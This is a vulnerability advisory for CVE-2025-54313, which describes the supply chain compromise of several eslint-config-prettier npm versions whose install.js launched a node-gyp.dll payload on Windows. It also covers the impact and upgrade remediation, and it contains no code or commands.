CVE-2025-54313
Overview
This vulnerability is a supply chain compromise involving malicious code embedded within specific versions of the eslint-config-prettier npm package. The root cause is the inclusion of a malicious install.js script that executes automatically during package installation. This script triggers execution of a node-gyp.dll malware payload on Windows environments, affecting the package's installation process and the integrity of the affected component.
Vulnerability Description
eslint-config-prettier 8.10.1, 9.1.1, 10.1.6, and 10.1.7 has embedded malicious code for a supply chain compromise. Installing an affected package executes an install.js file that launches the node-gyp.dll malware on Windows.
Impact
An attacker can achieve remote code execution on Windows systems by tricking users or automated systems into installing one of the compromised eslint-config-prettier package versions. No authentication or user interaction beyond package installation is required. This enables execution of arbitrary malicious code, potentially leading to system compromise, data theft, or further lateral movement within development environments. The attack undermines software supply chain trust, affecting developers and CI/CD pipelines relying on these npm packages.
Solution
Users should immediately upgrade eslint-config-prettier to versions later than 10.1.7, where the malicious code has been removed. Refer to the official GitHub issue #339 on the prettier/eslint-config-prettier repository for detailed remediation guidance. Additional information and advisories are available via the socket.dev blog and bleepingcomputer.com articles linked in the references. Avoid using affected versions 8.10.1, 9.1.1, 10.1.6, and 10.1.7 until patched versions are confirmed safe.
